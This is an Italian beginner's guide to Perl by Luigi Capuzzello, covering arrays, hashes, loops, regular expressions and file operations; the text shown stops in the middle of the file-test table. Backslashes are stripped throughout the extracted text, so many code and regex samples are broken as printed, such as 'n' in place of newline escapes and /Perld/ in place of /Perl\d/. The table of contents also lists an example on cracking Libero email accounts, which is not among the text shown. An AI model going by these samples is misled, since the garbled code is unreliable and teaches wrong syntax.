Perl

LUIGI CAPUZZELLO

Perl
Guida per principianti
Versione: 1.0

Luigi Capuzzello
09/12/2013

http://www.linkedin.com/pub/luigi-capuzzello/7/561/12a
http://www.slideshare.net/luigicapuzzello
@FisherKasparov
luigi.capuzzello

Breve guida introduttiva alla programmazione in Perl.

Guida al Perl per Win322

Sommario
Guida al Perl per Win32.......................................................................................................................5
I. Introduzione..................................................................................................................................5
eq ==.............................................................................................................................................5
ne !=..............................................................................................................................................5
Esempi Utili: eseguire comandi da riga di comando....................................................................5
Esempi Utili: prendere input da <STDIN>..................................................................................6
II. Array............................................................................................................................................7
Viene creato..................................................................................................................................7
Per accedere ad uno degli elementi .............................................................................................7
Per copiare un array in un altro ...................................................................................................7
$#array -Size dell’array..............................................................................................................7
Push e Pop....................................................................................................................................7
Shift e Unshift...............................................................................................................................7
Sort e Reverse...............................................................................................................................8
foreach..........................................................................................................................................8
III. Creare uno Hash.........................................................................................................................9
Per creare uno Hash .....................................................................................................................9
Per prelevare un valore ................................................................................................................9
keys -Per estrarre tutte le chiavi ................................................................................................9
values -Per estrarre tutti i valori .................................................................................................9
each -Per estrarre una copia chiave-valore ................................................................................9
delete -Per eliminare una copia chiave – valore........................................................................10
exists -Per verificare l'esistenza di una chiave .........................................................................10
IV. Istruzioni Decisionali...............................................................................................................11
if – elsif.......................................................................................................................................11
unless .........................................................................................................................................11
? -operatore ternario..................................................................................................................11
&& || -operatori and e or............................................................................................................11
V. Istruzioni Iterative......................................................................................................................12
while...........................................................................................................................................12
until.............................................................................................................................................12
next, last, redo.............................................................................................................................12
do ... while – do … until.............................................................................................................12
Istruzione for..............................................................................................................................12
istruzione foreach.......................................................................................................................13
VI. Espressioni Regolari.................................................................................................................14
d D w W s S ........................................................................................................................14
[] -Classi ...................................................................................................................................14
Moltiplicatore (parola da cercare){min,max}............................................................................14
? -Operatore che rende inerte il linguaggio...............................................................................15
$1 $2 $3 -Memorizzazione delle corrispondenze......................................................................15
1 2 -Altri simboli speciali:......................................................................................................16
?: -Simbolo speciali...................................................................................................................16
$& $` $’ – Simboli speciali......................................................................................................16
^ $ b B -Asserzioni...................................................................................................................16
?= ?! -lookahead positivo e negativo........................................................................................17
| -Alternative..............................................................................................................................17
Luigi Capuzzello


Precedenze tra operatori.............................................................................................................17
Interpolazione di variabili...........................................................................................................17
/i -Ignora il case.........................................................................................................................17
l u L U E -Maiuscolo e Minuscolo........................................................................................17
/…/g -Matching Globale...........................................................................................................18
s/…/…/ -Operatore di sostituzione............................................................................................18
tr/…/…/ -Operatore di traduzione.............................................................................................18
split.............................................................................................................................................18
join..............................................................................................................................................19
Esempi pratici.............................................................................................................................19
VI. File e Directory.........................................................................................................................20
Copiare un File in un altro..........................................................................................................20
Seek............................................................................................................................................20
La funzione di Globbing.............................................................................................................21
Aprire file binari.........................................................................................................................21
Test sui file.................................................................................................................................21
Eliminare un File........................................................................................................................22
Rinominare un File.....................................................................................................................23
Modifica dei permessi di un File................................................................................................23
Cambiare la directory.................................................................................................................23
Aprire una Directory, leggere i File e chiudere una Directory...................................................23
Creare e Cancellare una Directory..............................................................................................23
VII. Variabili Speciali....................................................................................................................24
$_ -variabile di default ............................................................................................................24
$#array -Size dell’array............................................................................................................24
$$ $< $0 $! $? $@ -variabili sullo stato del programma........................................................24
ARGV -variabili passate al mio script.....................................................................................24
%ENV -varaibili d’ambiente....................................................................................................24
VIII. Variabili Speciali...................................................................................................................25
Dichiarazione di funzioni...........................................................................................................25
Passare dati a una funzione.........................................................................................................25
Utilizzare una funzione...............................................................................................................25
local -Dichiarazione di variabili locali......................................................................................25
IX. Web Automation......................................................................................................................26
LWP: classi principali................................................................................................................26
HTTP::Response -Metodi principali..........................................................................................26
Aggiungere HTTP Request Header............................................................................................26
Cookies.......................................................................................................................................26
Effettuare un POST....................................................................................................................27
Effettuare un GET......................................................................................................................27
Usare PROXY............................................................................................................................28
HTTPS........................................................................................................................................28
HTTP Authentication.................................................................................................................28
Pagine di grosse dimensioni.......................................................................................................29
Esempio riepilogativo: Accedere al Sy@net con User e Password...........................................29
Esempio riepilogativo: Craccare gli account di Libero..............................................................31
Riferimenti:.................................................................................................................................32
IX. CGIPerl...................................................................................................................................33
Installazione dell’ambiente.........................................................................................................33
Parallel::ForkManager 0.7..............................................................................................................34
Installazione del modulo ............................................................................................................34
Luigi Capuzzello


NAME .......................................................................................................................................34
SYNOPSIS ................................................................................................................................34
DESCRIPTION .........................................................................................................................34
METHODS ................................................................................................................................34
CALLBACKS ...........................................................................................................................35
EXAMPLE: Parallel get ............................................................................................................35
Callbacks ...................................................................................................................................36
BUGS AND LIMITATIONS ....................................................................................................36
Appendice A. Elenco delle funzioni...............................................................................................37
Appendice A. Elenco delle funzioni per argomento.......................................................................42
Funzioni aritmetiche ..................................................................................................................42
Funzioni di conversione ............................................................................................................42
Funzioni su stringhe .................................................................................................................43
Funzioni su array e liste ............................................................................................................43
Funzioni su file e directory ........................................................................................................45
Funzioni di Input/Output ...........................................................................................................45

Luigi Capuzzello


1.

Per installare il compilatore Perl usare ‘ActivePerl-5.8.7.813-MSWin32-x86-148120.msi’.

2.

Una volta installato posso utilizzare il compilatore Perl da riga di comando usando:
c:>perl c:Hallo.txt
dove Hallo.txt contiene i comandi Perl da eseguire.

I. Introduzione.
print ("Ciao come ti chaimi?n");
$nome=<STDIN>;
chomp($nome);
print ("Ciao $nome n");
if ($name eq "luigi") {
print "Proprio un bel nomen";
} else {
print "Hello, $name!n";
}

#scrive sullo STDOUT
#prende un valore dallo STDIN
#toglie da $nome il carattere NewLine
#stampa la variabile
#Costrutto if then else

eq ==
Compara due stringhe e dice che sono uguali solamente se ogni singolo carattere dell’una corrisponde all’altra e la
lunghezza è la stessa.
$secretword = "gecko";
# the secret word
print "What is your name? ";
$name = <STDIN>;
chomp $name;
if ($name eq "Erik") {
print "Hello, Erik! How good of you to be here!n";
} else {
print "Hello, $name!n"; # ordinary greeting
print "What is the secret word? ";
$guess = <STDIN>;
chomp $guess;
while ($guess ne $secretword) {
print "Wrong, try again. What is the secret word? ";
$guess = <STDIN>;
chomp $guess;
}
}

#While

ne !=
Restituisce TRUE se le stringhe sono diverse.

Esempi Utili: eseguire comandi da riga di comando.
Basta usare la notazione qx/ <comando> /.
Ad esempio se voglio lanciare un hping2.
#Metto nell’array @res tutte le righe passate da hping2 (parametrizzato con $i e $IP)
my @res=qx/hping2 -1s -2 -t $i $IP -n -c 2 -p 53 2>&1/;
# Ogni riga restituita da hping viene passata a $line
foreach my $line (@res){
#Salvo i risultati in un file
$outfile =”c:out.txt”
open (OUT,"+>>$outfile") || die "Cant create output filen";
print OUT "$lowerbound-$upperboundn";

Luigi Capuzzello


close (OUT);
}

Esempi Utili: prendere input da <STDIN>.
Basta:
print "Quanti punti ha totalizzato l'Italia, nel primo girone di qualificazione?n";
$punti=<STDIN>;
chomp($punti);
if ($punti == 9)
{

Luigi Capuzzello


II. Array
Viene creato
in due modi identici:
@words = ("camel","gecko","alpaca");
@words = qw(camel gecko alpaca);
@a =
$a[0]
$a[1]
$a[2]
$a[3]
$a[7]

();
="a1
="a2
="a3
="a4
="a8

";
";
";
";
";

Per accedere ad uno degli elementi
è sufficiente fare così:
$words[0] is camel;
$words[1] is gecko;
$words[2] is alpaca.
La variabile array restituisce il numero di elementi dell’array e se usata direttamente nel prit da l’elenco dei nomi che
contiene. Ad esempio:
@collaboratori=('Fabio', 'Davide', 'Alessandro', 'Salvatore');
$c=@collaboratori;
print "Io, Giordano ho $c collaboratori, ed insieme cerchiamo di dare corpo al nostro siton";
print "i miei $c collaboratori si chiamano @collaboratorin";

Per copiare un array in un altro
basta fare così:
@NuovoArray=@VecchioArray
se invece faccio così:
@A1 = (‘1’,’2’);
@A2 = (‘3’,’4’);
@A3 = (@A1,@A2);
Allora @A3 NON è un Array di Array ma un Array costituito dalla somma dei valori di @A1 e @A2 cioè:
@A3 = (‘1’,’2’, ‘3’,’4’);

$#array

-Size dell’array

Restituisce il numero di elementi di un array

Push e Pop
Gli array possono essere visti come uno stack di valori per cui per inserire un nuovo elemento nell’array posso usare
push:
push(@a,'Giordano');
Per togliere un elemento dall’array posso usare pop:
@a= qw(1 2 3 4 5);
$cinque=pop(@a);
print "Hai estratto da @a il numero $cinquen";

Shift e Unshift
Sono come push e pop ma inserisco e tolgono elementi dell’array dalla coda (ossia dalla parte sinistra) dell’array. In
questo caso Shift = Pop e Unshift = Push.
Esempio:

Luigi Capuzzello


@az=(1,2,3,4,5);
shift @az;
print "@azn";
# varrà (2,3,4,5)
unshift(@az,7,9,6,1,0,-5);
print "@azn";
# varrà (7,9,6,1,0,-5,2,3,4,5)

Sort e Reverse
Consentono di ordinare in modo crescente (sort) o decrescente (Reverse) un determinato array. Nel caso di array
alfanumerici l’array sarà ordinato comunque in ordine alfabetico. Esempio:
@a= qw(Luigi Camilla Leda Checco Vale);
@b=sort(@a);
@c=reverse(@a);
print "Array originale: @an";
print "Array ordinato: @bn";
print "Array invertito: @cnn";

foreach
Con questo semplice esempio è possibile processare ogni singolo elemento di @settimana applicando la funzione
foreach alla variabile scalare $festa la quale si occuperà di processare i valori dell'array al solo interno del blocco
foreach, rappresentato tra le parentesi graffe, e non anche all'esterno, dove la variabile $festa riprende il suo valore
predefinito. Il risultato dovrebbe assomigliare a questo:
@settimana =('lunedì','martedì','mercoledì','giovedì','venerdì','sabato');
$festa=domenica;
foreach $festa (@settimana)
{
print "$festa: giorno ferialen"
}
print "n$festa: giorno di riposo";
Questo esempio restituisce
lunedì: giorno feriale
martedì: giorno feriale
mercoledì: giorno feriale
giovedì: giorno feriale
venerdì: giorno feriale
sabato: giorno feriale
domenica: giorno di riposo

Luigi Capuzzello


III. Creare uno Hash

Uno Hash è una tabella di elementi chiave – valore.

Per creare uno Hash
è necessario fare così:
%numero = qw(
1
uno
2
due
3
tre
4
quattro
);
Altra possibilità consiste nell’utilizzare il simbolo => che evidenzia maggiormente il legame chiave => valore.
%girA=(
Portogallo =>6,
Inghilterra => 3,
Germania => 1,
Romania => 1
);

Per prelevare un valore
posso fare riferimento alla sua chiave:
print "Estraggo il numero $numero{1}n"
oppure utilizzo una variabile d’appoggio:
$puntPR = $girA{Portogallo} ;
print $puntPR;

keys

-Per estrarre tutte le chiavi

dalla variabile Hash si utilizza la parola chiave keys.
%settimana=(
Lun=>feriale,
Mar=>feriale,
Mer=>feriale,
Gio=>feriale,
Ven=>feriale,
Sab=>feriale,
Dom=>festivo
);
@sigle=keys(%settimana);
print "@siglen";
Attenzione la parola chiave keys non restituisce le chiavi nell’ordine in cui sono state inserite!

values

-Per estrarre tutti i valori

dalla variabile Hash si utilizza la parola chiave values.
%settimana=(
Lun=>feriale,
Mar=>feriale,
Mer=>feriale,
Gio=>feriale,
Ven=>feriale,
Sab=>feriale,
Dom=>festivo
);
@day=values(%settimana);
print "@dayn";
Attenzione la parola chiave keys non restituisce le chiavi nell’ordine in cui sono state inserite!

each

-Per estrarre una copia chiave-valore

posso usare il parola chiave each

Luigi Capuzzello


%settimana=(
Lun=>feriale,
Mar=>feriale,
Mer=>feriale,
Gio=>feriale,
Ven=>feriale,
Sab=>feriale,
Dom=>festivo
);
($chiave, $valore)=each(%settimana);
print "$chiave - $valoren";
Anche in questo caso l’ordine di estrazione delle copie è causale pertanto posso inserire l’estrazione in un ciclo while
%settimana=(
Lun=>feriale,
Mar=>feriale,
Mer=>feriale,
Gio=>feriale,
Ven=>feriale,
Sab=>feriale,
Dom=>festivo
);
while(($chiave, $valore)=each(%settimana))
{
print "Il giorno di $chiave è $valoren";
}

delete

-Per eliminare una copia chiave – valore

elimino il lunedì dai giorni della settimana
delete($settimana{Lun});

exists

-Per verificare l'esistenza di una chiave

all'interno di un hash si usa la funzione exists.
%settimana=(
Lun=>feriale,
Mer=>feriale,
Gio=>feriale,
Ven=>feriale,
Sab=>feriale,
Dom=>festivo
);
print "esiste Marn" if exists $settimana{Mar};
Il messaggio viene scritto solo se esiste la chiave Mar.

Luigi Capuzzello


IV. Istruzioni Decisionali
if – elsif
è il principale costrutto decisionale è il costrutto
print "Quanti punti ha totalizzato l'Italia, nel primo girone di qualificazione?n";
$punti=<STDIN>;
chomp($punti);
if ($punti == 9)
{
print " con $punti punti siamo dei campionin"
}
elsif ($punti >= 6)
{
print "con $punti punti non siamo affatto malen"
}
elsif ($punti > 3)
{
print "con $punti punti dobbiamo migliorare molton"
}
else
{
print "con $punti punti facciamo proprio schifon"
}
questo costrutto può essere sostituito con un costrutto più semplice da visualizzare
print "Quanti punti ha totalizzato l'Italia,";
print " nel primo girone di qualificazione?n";
$punti=<STDIN>;
chomp($punti);
print "con $punti punti siamo dei campionin"
if $punti == 9;
print "con $punti punti non siamo affatto malen"
if $punti>=6 and $punti<9;
print "con $punti punti dobbiamo migliorare molton"
if $punti>=3 and $punti<6;
print "con $punti punti facciamo proprio schifon"
if $punti>0 and $punti<3;

unless
L’operatore unless (che tradotto vuole dire ‘se non è’) corrisponde ad un if not
print "Quanti punti ha totalizzato l'Italia,";
print " nel primo girone di qualificazione?n";
$punti=<STDIN>;
chomp($punti);
unless ($punti < 0)
{
print "Avere $punti punti è sempre meglio di 0n"
}

?

-operatore ternario

Consente di essere concisi nelle clausole if – else
print (Inserisci la tua altezza in metri);
$altezza =<STDIN>;
chomp($altezza);
($altezza > 1.55) ? (print "Con l'altezza di $altezza, puoi dire di essere alto!") :
(print "Con l'altezza di $altezza, non puoi dire di essere alto!");

&& || -operatori and e or
possono essere usati anche con questa accezione
$altezza="1.86";
($altezza > "1.55") && (print "Sei alto!");
($altezza > "1.55") || (print "Sei basso!");

Luigi Capuzzello


V. Istruzioni Iterative
while
$a=3;
while ($a < 9){
$a++;
print "$an";
}
esiste anche una forma abbreviata per fare la stessa cosa. È la stessa sintassi usata per if e unless
$a=3;
print "$an" while $a++ <9;

until
$a=3;
until ($a > 10){
print "$a non soddisfa ancora la condizionen";
$a++;
}
print "$a soddisfa la condizionen";

next, last, redo
next: interrompe l'esecuzione del gruppo di istruzioni e riprende dalla valutazione della condizione
last: esce definitivamente dal ciclo `while' senza curarsi del gruppo di istruzioni
redo: ripete il ciclo, senza valutare e verificare nuovamente l'espressione della condizione, e senza curarsi del gruppo
di istruzioni
$a=3;
while ($a > 0){
if ($a == 30){
last;
}
print "$an";
$a++;
}

do ... while – do … until
Stesso comportamento di while e until ma l’espressione è valutata dopo.
$a=1;
do{
print "$an";
$a++;
}
while ($a < 30);

Istruzione for
Ha la stessa sintassi del C
for ($a=0;$a<10;$a++){
print '$a='."$a non soddisfa la condizione ".'$a<'."10n";
}

Luigi Capuzzello


istruzione foreach
Come già detto viene usato soprattutto nelle operazioni con i vettori
$a=131;
$b=3;
@a=(2,3,4,5,6,7);
foreach $a (@a)
# però all'interno di un istruzione foreach
# possiamo associare lo scalare $a all'array
# @a senza variare il valore dello stesso al
# di fuori del blocco, sarebbe stata la stessa
# se avessimo utilizzato lo scalare $b
{
$a=$a+$b;
# non facciamo altro che incrementare di tre
# ogni valore di @a
print "$an";
}
print "------n$an";
# se chiedete di stampare $a fuori dal blocco
# foreach il suo valore tornerà ad essere di 131

Luigi Capuzzello


VI. Espressioni Regolari

Per confrontare due stringhe e valutare se siano uguali si usa l’operatore =~ seguito dal carattere m (match) che in
realtà se omesso viene sottinteso.
Nell’esempio che segue controlliamo se nella stringa $a è presente la parola <piace>:
$a="Ma quanto mi piace programmare in Perl";
if($a =~ m/piace/){
print "Ho trovato 'piace'n"
}
else{
print "Non ho trovato 'piace'n"
}

d D w W s S .
Esistono anche alcuni tipi di caratteri speciali che consentono di fare ricerche più sofisticate:
o d cioè una qualunque cifra tra 0 e 9;
o D cioè un qualunque carattere che non sia una cifra tra 0 e 9;
o w cioè un qualunque carattere tra a e z, A e Z, 0 e 9;
o W cioè un qualunque carattere che non sia compreso tra a e z, A e Z, 0 e 9;
o s cioè un generico carattere di spazio (vengono considerati caratteri
spaziatrici anche i costruttori n, r, t, f)
o S cioè un generico carattere che non sia di spazio
o . Il carattere punto "." indica un qualunque simbolo nell'insieme dei caratteri è come il carattere ‘*’
Esempio:
$a="Ma quanto mi piace programmare in Perl5.00";
if($a =~ /Perld/){
print "1: Sarà soddisfatta n"
}
if($a =~ /insPerld/){
print "2: Sarà soddisfattan"
}
if($a =~ /inwPerl/){
print "3: Non sarà Soddisfatta n"
}

[]

-Classi

Al posto dei tipi di caratteri speciali posso usare le classi tra parentesi quadre senza dipendere da classi standard.
All’interno della classe indico:
valori puntuali indicandoli uno a fianco all’altro;
intervalli indicandoli con il ‘-‘.
Un esempio di classe corretta :
[03-69a-grst@#?!$£]
anche questa è una classe corretta e non fa altro che verificare l'esistenza di un carattere 0 oppure tra 3 e 6 poi il 9,
poi tra 'a' e 'g' ecc. ecc.
[a-z0-3-]
Per mettere nella classe il simbolo ‘-‘ devo usare ‘-‘:
Posso anche indicare i caratteri che non ci devono essere in una stringa con l’operatore ‘^’.
Nell’esempio che segue viene controllato che dopo Apache non segua un 3 o un 4.
$a="Apache3000 è un bel sito";
if($a =~ /Apache[^34]/){
print "tutto ok, niente 3n"
}
else{
print "peccato ho trovato il 3n"
}

Moltiplicatore (parola da cercare){min,max}.
Nelle espressioni regolari può capitare di cercare un carattere o una parola che si ripetono più volte. Per farlo si usa il
moltiplicatore.

Luigi Capuzzello


min: indica il numero minimo di evenienze della lettera o della parola che si devono verificare;
max: indica il numero massimo di evenienze della lettera o della parola che si devono verificare;

/cavallo {1,3}w/ # Verifica "cavallo pazzo", "cavallo pazzo",
# ma non verifica "cavallone". Il carattere che
# viene esaminato è quello di spazio vuoto
/(cavallo){1,3}w/ # Verifica "cavallone", ma non verifica
#" cavallo pazzo". Il carattere che
# viene esaminato è la sequenza di caratteri
# compresi all'interno delle parentesi tonde

Esistono anche queste abbreviazioni.
{min,}
il numero di occorrenze del carattere deve essere almeno min
{tot}
verifica la corrispondenza del carattere tot volte
*
equivalente a {0,}, cioè da zero occorrenze in su
+
equivalente a {1,}, almeno una occorrenza
?
equivalente a {0,1}, una occorrenza al massimo
Attenzione:
nel valutare le espressioni con moltiplicatore il programma è ingordo.
Cerca prima di verificare la specifica maggiore del moltiplicatore scansionando l’espressione da sinistra verso destra.
Se arrivando in fondo non verifica la direttiva passa a quella meno stringente e così via.
Esempio:
/.*bollo/
Essa rappresenta un numero qualsiasi di caratteri, eventualmente zero, seguiti dalla sequenza "bollo". Vediamo ora
come si comporta il programma per verificare questa espressione regolare.
Per prima cosa si colloca sulla prima posizione della stringa. Poi guarda l'espressione regolare e vede che inizia con
".*" cioè un numero qualsiasi di caratteri a piacere escluso n. Siccome il motore è ingordo, quel "numero qualsiasi di
caratteri" per lui è tutti i caratteri possibili della stringa e quindi si posiziona in fondo alla stringa.
Essendosi posizionato in fondo alla stringa è chiaro che non riuscirà a verificare l'espressione: non c'è ovviamente
spazio in fondo alla stringa per "bollo". Allora decide d'indietreggiare di un passo posizionandosi sul penultimo
carattere della stringa. Anche in questo caso non c'è posto per "bollo", al massimo ci sarebbe spazio per il primo
carattere, "b", continuando così a indietreggiare finché o trova "bollo", ma ho lo trova nella posizione più a destra
possibile nella stringa oppure non lo trova affatto.

?

-Operatore che rende inerte il linguaggio

Utilizzando l’operatore ‘?’ otteniamo la variante pigra dei moltiplicatori.
{min, max}? - prima prova min e poi incrementa fino a max
{n, }?
- prima prova n e poi incrementa
{n}?
- uguale alla versione ingorda
*?
- prima prova zero e poi incrementa
+?
- prima prova 1 e poi incrementa
??
- prima prova 0 e poi 1

$1 $2 $3

-Memorizzazione delle corrispondenze.

Le parentesi, oltre alla funzione di creare insiemi di elementi, hanno anche la funzione di riempire variabili speciali.
Infatti se e solo se un’espressione regolare è verificata allora vengono generate delle variabili $1 $2 $3… che
conterranno il valore contenuto in tutte le copie di parentesi inserite nell’espressione regolare.
print "Inserisci una data valida del tipon";
print "XXXXXXXX e premi invionn";
chomp($data=<STDIN>);
if($data =~ /(..)/(..)/(....)/)
{
print "gg: $1n";
print "mm: $2n";
print "aa: $3n";
}

Luigi Capuzzello


else
{

print "Formato data errato";

}
Oppure posso prelevare un tag HTML indicandolo come una qualsiasi sequenza di caratteri che inizia con < finisce con
> e ha al suo interno almeno un carattere:
chomp($tag_html = <STDIN>);
if($tag_html =~ /<(.+)>/)
{
print "Tag: $1n";
}

1 2

-Altri simboli speciali:

Anche i simboli 1 2 … come $1 $2… contengono i valori indicati nelle parentesi; ma li posso usare direttamente nelle
espressioni regolari.
/vado(.+?)al1mare/
In questo esempio 1 conterrà il valore indicato da (.+?). Risultano pertanto valide le seguenti espressioni:
vado-al-mare
vado al mare
non valide queste altre:
vado-al mare
vado al mare

?:

-Simbolo speciali

Serve per impedire di memorizzare nelle variabili $1 $2 il valore delle esperessioni nelle (). Questo per risparmiare
spazio in memoria qualora non serva tale valore.
/(?:aeiou)+/
cerco tutte le espressioni che abbiano almeno una sequenza ‘aeiou’ ma non memorizzo il valore in $1

$& $` $’ – Simboli speciali
$&
$`
$'

contiene la sezione di stringa che verifica l'espressione
contiene la sezione di stringa che precede quella che verifica l'espressione
contiene la sezione di stringa che segue quella che verifica l'espressione

$a="Italia batte in rete all'Olanda";
$a=~ /rete/;
print "esiste: $& n";
print "prima: $` n";
print "dopo: $' n";
ha come risultato:
esiste: -reteprima: -Italia batte in dopo: - all'Olanda-

^ $ b B

-Asserzioni

Servono ad identificare particolari sezioni all'interno di una stringa, come l'inizio, la fine o i confini di una parola (con
confine di una parola si intende un qualsiasi punto che abbia da una parte un carattere parola w e dall’altro un
qualsiasi carattere non parola W).
^
indica l'inizio della stringa
$
indica la fine della stringa
b
indica il confine di una parola ("b" sta per boundary)
B
indica ogni punto che non sia confine di parola

Luigi Capuzzello


Per verificare tutte le stringhe che iniziano per italia
/^Italia/
Per verificare tutte le stringhe che finiscono per italia
/Italia$/
/bmareb/
verifica "andiamo al mare", "un giorno al mare", ma non verifica "maremoto" né "altamarea".

?= ?!

-lookahead positivo e negativo

Il lookahead positivo e negativo sono espressioni che devono essere verificate solo nella posizione in cui sono inserite.
?=
lookahead positivo
?!
lookahead negativo
/Italia(?=s+vincente)/
Questa espressione regolare verifica la stringa "Italia" solo se questa è seguita da almeno uno spazio, e dopo lo spazio
si trova la stringa "vincente".

|

-Alternative

L’operatore | serve a costruire delle alternative.
/Tizio|Caio|Sempronio/
Valuta se nella mia espressione compare almeno uno dei tre nomi.

Precedenze tra operatori
Parentesi
( ) (?: )
Moltiplicatori
? + * {m,n} {n,} {n} ?? +? *?
Sequenza e asserzioni
Abc ^ $ b B (?= ) (?! )
Alternativa
|

Interpolazione di variabili
È possibile utilizzare delle variabili all’interno di espressioni regolari. Ad esempio:
$a = 'Caio';
$_ = 'Caio, Sempronio e Pincopallino';
m/^$a/;
In questo caso l’epsressione regolare corrisponde a m/^Caio/;

/i

-Ignora il case

Per ignorare il case all’interno di un’espressione regolare uso i
$a="Ormai è estate e la domenica si va a mare";
if(
$a=~/DoMEnICa/i)
{print "trovaton";
}
else{
print "non trovaton";
}

l u L U E

-Maiuscolo e Minuscolo

l poni in minuscolo il prossimo carattere
u poni in maiuscolo il prossimo carattere

Luigi Capuzzello


L tutto minuscolo fino al prossimo E
U tutto maiuscolo fino al prossimo E

/…/g

-Matching Globale

Appena un’espressione regolare viene verificata, il controllo sul resto della stringa viene tralasciato. Il matching globale
serve proprio a continuare nella valutazione della stringa.

s/…/…/

-Operatore di sostituzione.

La sintessi dell’operatore di sostituzione è la seguente:
s/espressione-regolare/sostituzione/
Ad esempio:
$a= "Io e Fabio siamo amici da sempre";
print "$an";
$a =~ s/Io e Fabio siamo/Fabio e Rocker non sono/;
print "$an";
$a =~ s/$a/Ma e come se lo fossero!/;
print "$an";
$a =~ s/!/. La stessa cosa vale anche con Alessandro./;
print "$an";
$a =~ s/$a/Salvatore invece è un po' fetente./;
print "$an";
print "nFine :)";
oppure
$a= "La farfalla";
print "$an";
$a =~ s/[a]/@/g;
print "$an";
si ottiene L@ f@rf@ll@

tr/…/…/

-Operatore di traduzione

L'operazione di traduzione tr risolve facilmente casi difficili da affrontare con la sostituzione quali ad esempio sostituire
tutte le "a" di una stringa con delle "o", e tutte le "o" con delle "i". Usa la sintassi:
tr/caratteri-da-cercare/caratteri-da-sostituire/
Ad esempio per sostituire tutte le lettere minuscole con le relative lettere maiuscole uso:
tr/a-z/A-Z/
$a= "La farfalla";
print "$an";
$b = $a =~ tr/a-z/A-Z/;
print "$an";
$a =~ s/[A]/@/g;
print "$an";
print "------------nn";
$c= "La farfalla e l'elefante";
print "$cn";
$d = $c =~ tr/a,e/e,a/;
print "$cn";
print "nFine";

split
split(espressione_regolare,variabile_target,numero_elementi);
dove:

Luigi Capuzzello


espressione_regolare

è l'espressione che se verificata crea le divisioni.
Se non specificata l'espressione di default è /s+/ la sequenza di spazi.

variabile- target

è il nome della variabile su cui applicare split.
Se non specificata split viene applicato a $_

numero-elementi

è il numero massimo di elementi in cui si vuole spezzare la stringa.

Ad esempio:
$_ = "uno due tre quattro cinque";
@numeri = split;
print "@numeri";
$testo = 'uno:due:tre:quattro:';
@numeri = split(/:/,$testo,2);

join
Se la funzione split serve a spezzare gli elementi di una stringa in un array, la funzione join li rincolla.
$a='-';
@b=('uno', 'due', 'tre');
$incollaggio=join($a, @b);
Ottengo $incollaggio=uno-due-tre

Esempi pratici
Per recuperare un indirizzo IP l’espressione regolare potrebbe essere questa
/s*(d{1,3}).(d{1,3}).(d{1,3}).(d{1,3})s*/

Luigi Capuzzello


VI. File e Directory
Copiare un File in un altro
Supponiamo di creare i file uno.txt e due.txt e di voler copiare il contenuto di uno.txt in due.txt.
$uno='c:proveuno.txt';
$due='c:provedue.txt';
open(a, "<$uno") or die "Non apre uno.txt";
# con l'istruzione open chiediamo di aprire
# il file valorizzato in $uno che identificheremo
# un nome a piacere, in questo caso 'a'
# il carattere '<' indica che il file è di
# sola lettura, ma è anche possibile ometterlo
# in quanto se non specificato, il programma
# lo inserisce di default, gli operatori
# 'or' e 'die' sono molto importanti e ci
# permettono di uscire dal programma nel caso
# non si riesca ad individuare il file da
# cercare, restituendoci una frase a piacere.
open(b, ">$due") or die "Non apre due.txt";
# apro due.txt in sola scrittura
while($riga=<a>){
print b $riga;
}
# con l'istruzione while, chediamo
# di stampare tutte le stringhe contenute
# in 'a'in 'b', dove 'a' identifica $uno,
# e 'b' identifica $due
close(a);
close(b);

L’operatore binario <> prende una stringa di caratteri fino a /n incluso; il fine file viene preso come terminatore
dell’ultima riga.
I modi per aprire un file sono i seguenti:
Sola lettura:
open( A, '<nome_file' ) oppure open(A, 'nome_file' )
Sola scrittura:
open(A, '>nome_file')
Append:
open(A, '>>nome-file')
Lettura e scrittura:
open(A, '+<nome file')
Scrittura e lettura:
open(A, '+>nome-file')
Append e lettura:
open(A, '+>>nome-file')

Seek
Serve per posizionarsi all’interno di un file una volta aperto. La sintassi si seek è la seguente:
descrittore
è il descrittore del file.
numero-di-byte

numero di byte di cui ci si vuole spostare nel file a partire dal riferimento.

riferimento

Vale:
- 0 per inizio file;
- 1 se siamo nel mezzo del file (nel qual caso numero_di_byte può essere espresso
da un numero negativo);
- 2 per la fine del file.

Ecco alcuni esempi:
$uno='c:proveuno.txt';
open(a,'+<uno.txt') or die "non riesco ad aprire il file";
seek(a,0,2); # posiziona il cursore in fondo al file
print a "n Giordano Costantini"; #firma il file
close(a);
$aaa='c:provetre.txt';
open(a, '+>tre.txt') or die "non trovo il file";
print a "Come son contenton";
print a "finalmente sto imparando molte cosen";
print a "sul Perl e la sua semplicità d'impiego";
seek(a, 0, 0); # posiziona il cursore all'inizio del file

Luigi Capuzzello


print while<a>; # visualizza il file
close(a);

La funzione di Globbing
Serve per caricare tutti i file della cartella corrente all’interno di un array. Posso usare un metodo sbrigativo:

@a = <*.txt>;
print "@an";
oppure per non generare confusione con il simbolo ‘*’ usato nelle espressioni regolari posso usare:

@a = glob("*.txt");
print "@an";
o ancora:

$a="*.txt ";
@a =glob $a;
print "@an";

Aprire file binari
Per alcuni SO non vi è differenza tra un file binario e uno testuale; per altri, come Windows, vi è; quindi occorre aprirli
in maniera differente.

open(a, 'pippo.gif') or die "Non riesco ad aprire pippo";
binmode(a);
read(a, $buf, 1024);
dove read ha la seguente sintassi:
read(descrittore, variabile-buffer, numero_byte);
-

'descrittore' è il descrittore di file da cui leggere;
'variabile-buffer' è la variabile a cui assegnare i prossimi byte letti;
'numero-byte' stabilisce quanti byte alla volta leggeremo con la byte.

open(a, 'c:/prove/ligabue.mp3') or die 'Non riesco ad aprire il file';
open(b,'>c:/prove/Battiato.mp3');
binmode(a);
binmode(b);
while(read(a, $buf, 100)){
print b $buf;
}

Test sui file
Una volta aperto un file posso fare diversi test

open(a, 'c:/prove/ligabue.mp3') or die 'Non riesco ad aprire il file';
if(-e a){
print "Il file esisten";
}
else{
print "Non esiste il filen";
}
Ecco tutti i possibili test:

Operatore di test

Significato

Windows (s/n)

-r

File leggibile da uid/gid effettivo

s

-w

File scrivibile da uid/gid effettivo

s

-x

File eseguibile da uid/gid effettivo

s

Luigi Capuzzello


-o

File posseduto da uid effettivo

n

-R

File leggibile da uid/gid reale

n

-W

File scrivibile da uid/gid reale

n

-X

File eseguibile da uid/gid reale

n

-O

File posseduto da uid reale

n

-e

File esiste

s

-z

File ha dimensione zero

s

-s

Dimensione del file

s

-f

File normale

s

-d

Directory

s

-l

Link simbolico

n

-p

Pipe con nome

n

-S

Socket

n

-b

File speciale block

n

-c

File speciale carattere

n

-t

Descrittore aperto su tty

n

-u

Il bit setuid è alto

n

-g

Il bit setgid è alto

n

-k

Il bit sticky è alto

n

-T

File di testo

s

-B

File binario

s

-M

